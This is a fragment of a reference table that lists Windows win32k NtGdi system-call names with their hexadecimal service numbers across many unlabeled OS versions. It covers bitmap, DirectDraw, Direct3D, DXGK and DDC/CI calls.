NtGdiCreateBitmap |  |  |  |  0x100f  |  |  |  0x1017  |  |  0x1017  |  |  0x1019  |  0x1019  |  0x1019  |  |  0x1019  |  0x1019  |  0x101a  |  0x101a  |  0x101a  |  |  0x101a  |  |  0x101a   
NtGdiCreateBitmapFromDxSurface |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x101b   
NtGdiCreateClientObj |  |  |  |  0x1010  |  |  |  0x1018  |  |  0x1018  |  |  0x101a  |  0x101a  |  0x101a  |  |  0x101a  |  0x101a  |  0x101b  |  0x101b  |  0x101b  |  |  0x101b  |  |  0x101c   
NtGdiCreateColorSpace |  |  |  |  |  |  |  0x1019  |  |  0x1019  |  |  0x101b  |  0x101b  |  0x101b  |  |  0x101b  |  0x101b  |  0x101c  |  0x101c  |  0x101c  |  |  0x101c  |  |  0x101d   
NtGdiCreateColorTransform |  |  |  |  |  |  |  0x101a  |  |  0x101a  |  |  0x101c  |  0x101c  |  0x101c  |  |  0x101c  |  0x101c  |  0x101d  |  0x101d  |  0x101d  |  |  0x101d  |  |  0x101e   
NtGdiCreateCompatibleBitmap |  |  |  |  0x1011  |  |  |  0x101b  |  |  0x101b  |  |  0x101d  |  0x101d  |  0x101d  |  |  0x101d  |  0x101d  |  0x101e  |  0x101e  |  0x101e  |  |  0x101e  |  |  0x101f   
NtGdiCreateCompatibleDC |  |  |  |  0x1012  |  |  |  0x101c  |  |  0x101c  |  |  0x101e  |  0x101e  |  0x101e  |  |  0x101e  |  0x101e  |  0x101f  |  0x101f  |  0x101f  |  |  0x101f  |  |  0x1020   
NtGdiCreateDIBBrush |  |  |  |  0x1013  |  |  |  0x101d  |  |  0x101d  |  |  0x101f  |  0x101f  |  0x101f  |  |  0x101f  |  0x101f  |  0x1020  |  0x1020  |  0x1020  |  |  0x1020  |  |  0x1021   
NtGdiCreateDIBSection |  |  |  |  0x1015  |  |  |  0x101f  |  |  0x101f  |  |  0x1021  |  0x1021  |  0x1021  |  |  0x1021  |  0x1021  |  0x1022  |  0x1022  |  0x1022  |  |  0x1022  |  |  0x1023   
NtGdiCreateDIBitmapInternal |  |  |  |  0x1014  |  |  |  0x101e  |  |  0x101e  |  |  0x1020  |  0x1020  |  0x1020  |  |  0x1020  |  0x1020  |  0x1021  |  0x1021  |  0x1021  |  |  0x1021  |  |  0x1022   
NtGdiCreateEllipticRgn |  |  |  |  0x1016  |  |  |  0x1020  |  |  0x1020  |  |  0x1022  |  0x1022  |  0x1022  |  |  0x1022  |  0x1022  |  0x1023  |  0x1023  |  0x1023  |  |  0x1023  |  |  0x1024   
NtGdiCreateHalftonePalette |  |  |  |  0x1017  |  |  |  0x1021  |  |  0x1021  |  |  0x1023  |  0x1023  |  0x1023  |  |  0x1023  |  0x1023  |  0x1024  |  0x1024  |  0x1024  |  |  0x1024  |  |  0x1025   
NtGdiCreateHatchBrushInternal |  |  |  |  0x1018  |  |  |  0x1022  |  |  0x1022  |  |  0x1024  |  0x1024  |  0x1024  |  |  0x1024  |  0x1024  |  0x1025  |  0x1025  |  0x1025  |  |  0x1025  |  |  0x1026   
NtGdiCreateMetafileDC |  |  |  |  0x1019  |  |  |  0x1023  |  |  0x1023  |  |  0x1025  |  0x1025  |  0x1025  |  |  0x1025  |  0x1025  |  0x1026  |  0x1026  |  0x1026  |  |  0x1026  |  |  0x1027   
NtGdiCreateOPMProtectedOutputs |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1027  |  0x1027  |  0x1027  |  |  0x1027  |  |  0x1028   
NtGdiCreatePaletteInternal |  |  |  |  0x101a  |  |  |  0x1024  |  |  0x1024  |  |  0x1026  |  0x1026  |  0x1026  |  |  0x1026  |  0x1026  |  0x1028  |  0x1028  |  0x1028  |  |  0x1028  |  |  0x1029   
NtGdiCreatePatternBrushInternal |  |  |  |  0x101b  |  |  |  0x1025  |  |  0x1025  |  |  0x1027  |  0x1027  |  0x1027  |  |  0x1027  |  0x1027  |  0x1029  |  0x1029  |  0x1029  |  |  0x1029  |  |  0x102a   
NtGdiCreatePen |  |  |  |  0x101c  |  |  |  0x1026  |  |  0x1026  |  |  0x1028  |  0x1028  |  0x1028  |  |  0x1028  |  0x1028  |  0x102a  |  0x102a  |  0x102a  |  |  0x102a  |  |  0x102b   
NtGdiCreateRectRgn |  |  |  |  0x101d  |  |  |  0x1027  |  |  0x1027  |  |  0x1029  |  0x1029  |  0x1029  |  |  0x1029  |  0x1029  |  0x102b  |  0x102b  |  0x102b  |  |  0x102b  |  |  0x102c   
NtGdiCreateRoundRectRgn |  |  |  |  0x101e  |  |  |  0x1028  |  |  0x1028  |  |  0x102a  |  0x102a  |  0x102a  |  |  0x102a  |  0x102a  |  0x102c  |  0x102c  |  0x102c  |  |  0x102c  |  |  0x102d   
NtGdiCreateServerMetaFile |  |  |  |  0x101f  |  |  |  0x1029  |  |  0x1029  |  |  0x102b  |  0x102b  |  0x102b  |  |  0x102b  |  0x102b  |  0x102d  |  0x102d  |  0x102d  |  |  0x102d  |  |  0x102e   
NtGdiCreateSolidBrush |  |  |  |  0x1020  |  |  |  0x102a  |  |  0x102a  |  |  0x102c  |  0x102c  |  0x102c  |  |  0x102c  |  0x102c  |  0x102e  |  0x102e  |  0x102e  |  |  0x102e  |  |  0x102f   
NtGdiD3dContextCreate |  |  |  |  0x1021  |  |  |  0x102b  |  |  0x102b  |  |  0x102d  |  0x102d  |  0x102d  |  |  0x102d  |  0x102d  |  0x102f  |  0x102f  |  0x102f  |  |  0x102f  |  |  0x1030   
NtGdiD3dContextDestroy |  |  |  |  0x1022  |  |  |  0x102c  |  |  0x102c  |  |  0x102e  |  0x102e  |  0x102e  |  |  0x102e  |  0x102e  |  0x1030  |  0x1030  |  0x1030  |  |  0x1030  |  |  0x1031   
NtGdiD3dContextDestroyAll |  |  |  |  0x1023  |  |  |  0x102d  |  |  0x102d  |  |  0x102f  |  0x102f  |  0x102f  |  |  0x102f  |  0x102f  |  0x1031  |  0x1031  |  0x1031  |  |  0x1031  |  |  0x1032   
NtGdiD3dDrawPrimitives2 |  |  |  |  |  |  |  0x102f  |  |  0x102f  |  |  0x1031  |  0x1031  |  0x1031  |  |  0x1031  |  0x1031  |  0x1033  |  0x1033  |  0x1033  |  |  0x1033  |  |  0x1034   
NtGdiD3dExecute |  |  |  |  0x1025  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dExecuteClipped |  |  |  |  0x1026  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dGetState |  |  |  |  0x1037  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dLightSet |  |  |  |  0x1032  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dMaterialCreate |  |  |  |  0x1033  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dMaterialDestroy |  |  |  |  0x1034  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dMaterialGetData |  |  |  |  0x1036  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dMaterialSetData |  |  |  |  0x1035  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dMatrixCreate |  |  |  |  0x102d  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dMatrixDestroy |  |  |  |  0x102e  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dMatrixGetData |  |  |  |  0x1030  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dMatrixSetData |  |  |  |  0x102f  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dRenderPrimitive |  |  |  |  0x1028  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dRenderState |  |  |  |  0x1027  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dSceneCapture |  |  |  |  0x1024  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dSetViewportData |  |  |  |  0x1031  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dTextureCreate |  |  |  |  0x1029  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dTextureDestroy |  |  |  |  0x102a  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dTextureGetSurf |  |  |  |  0x102c  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dTextureSwap |  |  |  |  0x102b  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiD3dValidateTextureStageState |  |  |  |  |  |  |  0x102e  |  |  0x102e  |  |  0x1030  |  0x1030  |  0x1030  |  |  0x1030  |  0x1030  |  0x1032  |  0x1032  |  0x1032  |  |  0x1032  |  |  0x1033   
NtGdiDDCCIGetCapabilitiesString |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1300  |  0x1300  |  0x1300  |  |  0x1300  |  |  0x132c   
NtGdiDDCCIGetCapabilitiesStringLength |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ff  |  0x12ff  |  0x12ff  |  |  0x12ff  |  |  0x132b   
NtGdiDDCCIGetTimingReport |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1301  |  0x1301  |  0x1301  |  |  0x1301  |  |  0x132d   
NtGdiDDCCIGetVCPFeature |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12fc  |  0x12fc  |  0x12fc  |  |  0x12fc  |  |  0x1328   
NtGdiDDCCISaveCurrentSettings |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12fe  |  0x12fe  |  0x12fe  |  |  0x12fe  |  |  0x132a   
NtGdiDDCCISetVCPFeature |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12fd  |  0x12fd  |  0x12fd  |  |  0x12fd  |  |  0x1329   
NtGdiDdAddAttachedSurface |  |  |  |  |  |  |  0x1031  |  |  0x1031  |  |  0x1033  |  0x1033  |  0x1033  |  |  0x1033  |  0x1033  |  0x1035  |  0x1035  |  0x1035  |  |  0x1035  |  |  0x1036   
NtGdiDdAlphaBlt |  |  |  |  |  |  |  0x1032  |  |  0x1032  |  |  0x1034  |  0x1034  |  0x1034  |  |  0x1034  |  0x1034  |  0x1036  |  0x1036  |  0x1036  |  |  0x1036  |  |  0x1037   
NtGdiDdAttachSurface |  |  |  |  |  |  |  0x1033  |  |  0x1033  |  |  0x1035  |  0x1035  |  0x1035  |  |  0x1035  |  0x1035  |  0x1037  |  0x1037  |  0x1037  |  |  0x1037  |  |  0x1038   
NtGdiDdBeginMoCompFrame |  |  |  |  |  |  |  0x1034  |  |  0x1034  |  |  0x1036  |  0x1036  |  0x1036  |  |  0x1036  |  0x1036  |  0x1038  |  0x1038  |  0x1038  |  |  0x1038  |  |  0x1039   
NtGdiDdBlt |  |  |  |  0x1038  |  |  |  0x1035  |  |  0x1035  |  |  0x1037  |  0x1037  |  0x1037  |  |  0x1037  |  0x1037  |  0x1039  |  0x1039  |  0x1039  |  |  0x1039  |  |  0x103a   
NtGdiDdCanCreateD3DBuffer |  |  |  |  |  |  |  0x1037  |  |  0x1037  |  |  0x1039  |  0x1039  |  0x1039  |  |  0x1039  |  0x1039  |  0x103b  |  0x103b  |  0x103b  |  |  0x103b  |  |  0x103c   
NtGdiDdCanCreateSurface |  |  |  |  0x1039  |  |  |  0x1036  |  |  0x1036  |  |  0x1038  |  0x1038  |  0x1038  |  |  0x1038  |  0x1038  |  0x103a  |  0x103a  |  0x103a  |  |  0x103a  |  |  0x103b   
NtGdiDdColorControl |  |  |  |  |  |  |  0x1038  |  |  0x1038  |  |  0x103a  |  0x103a  |  0x103a  |  |  0x103a  |  0x103a  |  0x103c  |  0x103c  |  0x103c  |  |  0x103c  |  |  0x103d   
NtGdiDdCreateD3DBuffer |  |  |  |  |  |  |  |  |  |  |  0x103d  |  0x103d  |  0x103d  |  |  0x103d  |  0x103d  |  0x103f  |  0x103f  |  0x103f  |  |  0x103f  |  |  0x1040   
NtGdiDdCreateDirectDrawObject |  |  |  |  0x103a  |  |  |  0x1039  |  |  0x1039  |  |  0x103b  |  0x103b  |  0x103b  |  |  0x103b  |  0x103b  |  0x103d  |  0x103d  |  0x103d  |  |  0x103d  |  |  0x103e   
NtGdiDdCreateFullscreenSprite |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x132e   
NtGdiDdCreateMoComp |  |  |  |  |  |  |  0x103c  |  |  0x103c  |  |  0x103e  |  0x103e  |  0x103e  |  |  0x103e  |  0x103e  |  0x1040  |  0x1040  |  0x1040  |  |  0x1040  |  |  0x1041   
NtGdiDdCreateSurface |  |  |  |  0x103b  |  |  |  0x103b  |  |  0x103b  |  |  0x103c  |  0x103c  |  0x103c  |  |  0x103c  |  0x103c  |  0x103e  |  0x103e  |  0x103e  |  |  0x103e  |  |  0x103f   
NtGdiDdCreateSurfaceEx |  |  |  |  |  |  |  0x105c  |  |  0x105c  |  |  0x105e  |  0x105e  |  0x105e  |  |  0x105e  |  0x105e  |  0x1060  |  0x1060  |  0x1060  |  |  0x1060  |  |  0x1061   
NtGdiDdCreateSurfaceObject |  |  |  |  0x103c  |  |  |  0x103d  |  |  0x103d  |  |  0x103f  |  0x103f  |  0x103f  |  |  0x103f  |  0x103f  |  0x1041  |  0x1041  |  0x1041  |  |  0x1041  |  |  0x1042   
NtGdiDdDDIAcquireKeyedMutex |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x131c   
NtGdiDdDDICheckExclusiveOwnership |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f2  |  0x12f2  |  0x12f2  |  |  0x12f2  |  |  0x1315   
NtGdiDdDDICheckMonitorPowerState |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f1  |  0x12f1  |  0x12f1  |  |  0x12f1  |  |  0x1314   
NtGdiDdDDICheckOcclusion |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ef  |  0x12ef  |  0x12ef  |  |  0x12ef  |  |  0x1312   
NtGdiDdDDICheckSharedResourceAccess |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1321   
NtGdiDdDDICheckVidPnExclusiveOwnership |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1320   
NtGdiDdDDICloseAdapter |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d7  |  0x12d7  |  0x12d7  |  |  0x12d7  |  |  0x12f9   
NtGdiDdDDIConfigureSharedResource |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x131e   
NtGdiDdDDICreateAllocation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12be  |  0x12be  |  0x12be  |  |  0x12be  |  |  0x12df   
NtGdiDdDDICreateContext |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c6  |  0x12c6  |  0x12c6  |  |  0x12c6  |  |  0x12e7   
NtGdiDdDDICreateDCFromMemory |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e4  |  0x12e4  |  0x12e4  |  |  0x12e4  |  |  0x1307   
NtGdiDdDDICreateDevice |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c4  |  0x12c4  |  0x12c4  |  |  0x12c4  |  |  0x12e5   
NtGdiDdDDICreateKeyedMutex |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1319   
NtGdiDdDDICreateOverlay |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12dd  |  0x12dd  |  0x12dd  |  |  0x12dd  |  |  0x1300   
NtGdiDdDDICreateSynchronizationObject |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c8  |  0x12c8  |  0x12c8  |  |  0x12c8  |  |  0x12e9   
NtGdiDdDDIDestroyAllocation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c1  |  0x12c1  |  0x12c1  |  |  0x12c1  |  |  0x12e2   
NtGdiDdDDIDestroyContext |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c7  |  0x12c7  |  0x12c7  |  |  0x12c7  |  |  0x12e8   
NtGdiDdDDIDestroyDCFromMemory |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e5  |  0x12e5  |  0x12e5  |  |  0x12e5  |  |  0x1308   
NtGdiDdDDIDestroyDevice |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c5  |  0x12c5  |  0x12c5  |  |  0x12c5  |  |  0x12e6   
NtGdiDdDDIDestroyKeyedMutex |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x131b   
NtGdiDdDDIDestroyOverlay |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e0  |  0x12e0  |  0x12e0  |  |  0x12e0  |  |  0x1303   
NtGdiDdDDIDestroySynchronizationObject |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c9  |  0x12c9  |  0x12c9  |  |  0x12c9  |  |  0x12eb   
NtGdiDdDDIEscape |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d9  |  0x12d9  |  0x12d9  |  |  0x12d9  |  |  0x12fb   
NtGdiDdDDIFlipOverlay |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12df  |  0x12df  |  0x12df  |  |  0x12df  |  |  0x1302   
NtGdiDdDDIGetContextSchedulingPriority |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e7  |  0x12e7  |  0x12e7  |  |  0x12e7  |  |  0x130a   
NtGdiDdDDIGetDeviceState |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e3  |  0x12e3  |  0x12e3  |  |  0x12e3  |  |  0x1306   
NtGdiDdDDIGetDisplayModeList |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d0  |  0x12d0  |  0x12d0  |  |  0x12d0  |  |  0x12f2   
NtGdiDdDDIGetMultisampleMethodList |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d2  |  0x12d2  |  0x12d2  |  |  0x12d2  |  |  0x12f4   
NtGdiDdDDIGetOverlayState |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x131f   
NtGdiDdDDIGetPresentHistory |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12dc  |  0x12dc  |  0x12dc  |  |  0x12dc  |  |  0x12fe   
NtGdiDdDDIGetPresentQueueEvent |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ff   
NtGdiDdDDIGetProcessSchedulingPriorityClass |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e9  |  0x12e9  |  0x12e9  |  |  0x12e9  |  |  0x130c   
NtGdiDdDDIGetRuntimeData |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12cc  |  0x12cc  |  0x12cc  |  |  0x12cc  |  |  0x12ee   
NtGdiDdDDIGetScanLine |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12eb  |  0x12eb  |  0x12eb  |  |  0x12eb  |  |  0x130e   
NtGdiDdDDIGetSharedPrimaryHandle |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d8  |  0x12d8  |  0x12d8  |  |  0x12d8  |  |  0x12fa   
NtGdiDdDDIInvalidateActiveVidPn |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ee  |  0x12ee  |  0x12ee  |  |  0x12ee  |  |  0x1311   
NtGdiDdDDILock |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ce  |  0x12ce  |  0x12ce  |  |  0x12ce  |  |  0x12f0   
NtGdiDdDDIOpenAdapterFromDeviceName |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d5  |  0x12d5  |  0x12d5  |  |  0x12d5  |  |  0x12f7   
NtGdiDdDDIOpenAdapterFromHdc |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d6  |  0x12d6  |  0x12d6  |  |  0x12d6  |  |  0x12f8   
NtGdiDdDDIOpenKeyedMutex |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x131a   
NtGdiDdDDIOpenResource |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c0  |  0x12c0  |  0x12c0  |  |  0x12c0  |  |  0x12e1   
NtGdiDdDDIOpenSynchronizationObject |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ea   
NtGdiDdDDIPollDisplayChildren |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ed  |  0x12ed  |  0x12ed  |  |  0x12ed  |  |  0x1310   
NtGdiDdDDIPresent |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d3  |  0x12d3  |  0x12d3  |  |  0x12d3  |  |  0x12f5   
NtGdiDdDDIQueryAdapterInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12cd  |  0x12cd  |  0x12cd  |  |  0x12cd  |  |  0x12ef   
NtGdiDdDDIQueryAllocationResidency |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c3  |  0x12c3  |  0x12c3  |  |  0x12c3  |  |  0x12e4   
NtGdiDdDDIQueryResourceInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12bf  |  0x12bf  |  0x12bf  |  |  0x12bf  |  |  0x12e0   
NtGdiDdDDIQueryStatistics |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12da  |  0x12da  |  0x12da  |  |  0x12da  |  |  0x12fc   
NtGdiDdDDIReleaseKeyedMutex |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x131d   
NtGdiDdDDIReleaseProcessVidPnSourceOwners |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ea  |  0x12ea  |  0x12ea  |  |  0x12ea  |  |  0x130d   
NtGdiDdDDIRender |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d4  |  0x12d4  |  0x12d4  |  |  0x12d4  |  |  0x12f6   
NtGdiDdDDISetAllocationPriority |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12c2  |  0x12c2  |  0x12c2  |  |  0x12c2  |  |  0x12e3   
NtGdiDdDDISetContextSchedulingPriority |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e6  |  0x12e6  |  0x12e6  |  |  0x12e6  |  |  0x1309   
NtGdiDdDDISetDisplayMode |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12d1  |  0x12d1  |  0x12d1  |  |  0x12d1  |  |  0x12f3   
NtGdiDdDDISetDisplayPrivateDriverFormat |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f3  |  0x12f3  |  0x12f3  |  |  0x12f3  |  |  0x1316   
NtGdiDdDDISetGammaRamp |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e2  |  0x12e2  |  0x12e2  |  |  0x12e2  |  |  0x1305   
NtGdiDdDDISetProcessSchedulingPriorityClass |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e8  |  0x12e8  |  0x12e8  |  |  0x12e8  |  |  0x130b   
NtGdiDdDDISetQueuedLimit |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ec  |  0x12ec  |  0x12ec  |  |  0x12ec  |  |  0x130f   
NtGdiDdDDISetVidPnSourceOwner |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12db  |  0x12db  |  0x12db  |  |  0x12db  |  |  0x12fd   
NtGdiDdDDISharedPrimaryLockNotification |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f4  |  0x12f4  |  0x12f4  |  |  0x12f4  |  |  0x1317   
NtGdiDdDDISharedPrimaryUnLockNotification |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f5  |  0x12f5  |  0x12f5  |  |  0x12f5  |  |  0x1318   
NtGdiDdDDISignalSynchronizationObject |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12cb  |  0x12cb  |  0x12cb  |  |  0x12cb  |  |  0x12ed   
NtGdiDdDDIUnlock |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12cf  |  0x12cf  |  0x12cf  |  |  0x12cf  |  |  0x12f1   
NtGdiDdDDIUpdateOverlay |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12de  |  0x12de  |  0x12de  |  |  0x12de  |  |  0x1301   
NtGdiDdDDIWaitForIdle |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f0  |  0x12f0  |  0x12f0  |  |  0x12f0  |  |  0x1313   
NtGdiDdDDIWaitForSynchronizationObject |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12ca  |  0x12ca  |  0x12ca  |  |  0x12ca  |  |  0x12ec   
NtGdiDdDDIWaitForVerticalBlankEvent |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12e1  |  0x12e1  |  0x12e1  |  |  0x12e1  |  |  0x1304   
NtGdiDdDeleteDirectDrawObject |  |  |  |  0x103d  |  |  |  0x103e  |  |  0x103e  |  |  0x1040  |  0x1040  |  0x1040  |  |  0x1040  |  0x1040  |  0x1042  |  0x1042  |  0x1042  |  |  0x1042  |  |  0x1043   
NtGdiDdDeleteSurfaceObject |  |  |  |  0x103e  |  |  |  0x103f  |  |  0x103f  |  |  0x1041  |  0x1041  |  0x1041  |  |  0x1041  |  0x1041  |  0x1043  |  0x1043  |  0x1043  |  |  0x1043  |  |  0x1044   
NtGdiDdDestroyD3DBuffer |  |  |  |  |  |  |  0x1042  |  |  0x1042  |  |  0x1044  |  0x1044  |  0x1044  |  |  0x1044  |  0x1044  |  0x1046  |  0x1046  |  0x1046  |  |  0x1046  |  |  0x1047   
NtGdiDdDestroyFullscreenSprite |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1330   
NtGdiDdDestroyMoComp |  |  |  |  |  |  |  0x1040  |  |  0x1040  |  |  0x1042  |  0x1042  |  0x1042  |  |  0x1042  |  0x1042  |  0x1044  |  0x1044  |  0x1044  |  |  0x1044  |  |  0x1045   
NtGdiDdDestroySurface |  |  |  |  0x103f  |  |  |  0x1041  |  |  0x1041  |  |  0x1043  |  0x1043  |  0x1043  |  |  0x1043  |  0x1043  |  0x1045  |  0x1045  |  0x1045  |  |  0x1045  |  |  0x1046   
NtGdiDdEndMoCompFrame |  |  |  |  |  |  |  0x1043  |  |  0x1043  |  |  0x1045  |  0x1045  |  0x1045  |  |  0x1045  |  0x1045  |  0x1047  |  0x1047  |  0x1047  |  |  0x1047  |  |  0x1048   
NtGdiDdFlip |  |  |  |  0x1040  |  |  |  0x1044  |  |  0x1044  |  |  0x1046  |  0x1046  |  0x1046  |  |  0x1046  |  0x1046  |  0x1048  |  0x1048  |  0x1048  |  |  0x1048  |  |  0x1049   
NtGdiDdFlipToGDISurface |  |  |  |  |  |  |  0x1045  |  |  0x1045  |  |  0x1047  |  0x1047  |  0x1047  |  |  0x1047  |  0x1047  |  0x1049  |  0x1049  |  0x1049  |  |  0x1049  |  |  0x104a   
NtGdiDdGetAvailDriverMemory |  |  |  |  |  |  |  0x1046  |  |  0x1046  |  |  0x1048  |  0x1048  |  0x1048  |  |  0x1048  |  0x1048  |  0x104a  |  0x104a  |  0x104a  |  |  0x104a  |  |  0x104b   
NtGdiDdGetBltStatus |  |  |  |  0x1041  |  |  |  0x1047  |  |  0x1047  |  |  0x1049  |  0x1049  |  0x1049  |  |  0x1049  |  0x1049  |  0x104b  |  0x104b  |  0x104b  |  |  0x104b  |  |  0x104c   
NtGdiDdGetDC |  |  |  |  0x1042  |  |  |  0x1048  |  |  0x1048  |  |  0x104a  |  0x104a  |  0x104a  |  |  0x104a  |  0x104a  |  0x104c  |  0x104c  |  0x104c  |  |  0x104c  |  |  0x104d   
NtGdiDdGetDriverInfo |  |  |  |  |  |  |  0x1049  |  |  0x1049  |  |  0x104b  |  0x104b  |  0x104b  |  |  0x104b  |  0x104b  |  0x104d  |  0x104d  |  0x104d  |  |  0x104d  |  |  0x104e   
NtGdiDdGetDriverState |  |  |  |  |  |  |  0x1030  |  |  0x1030  |  |  0x1032  |  0x1032  |  0x1032  |  |  0x1032  |  0x1032  |  0x1034  |  0x1034  |  0x1034  |  |  0x1034  |  |  0x1035   
NtGdiDdGetDxHandle |  |  |  |  |  |  |  0x104a  |  |  0x104a  |  |  0x104c  |  0x104c  |  0x104c  |  |  0x104c  |  0x104c  |  0x104e  |  0x104e  |  0x104e  |  |  0x104e  |  |  0x104f   
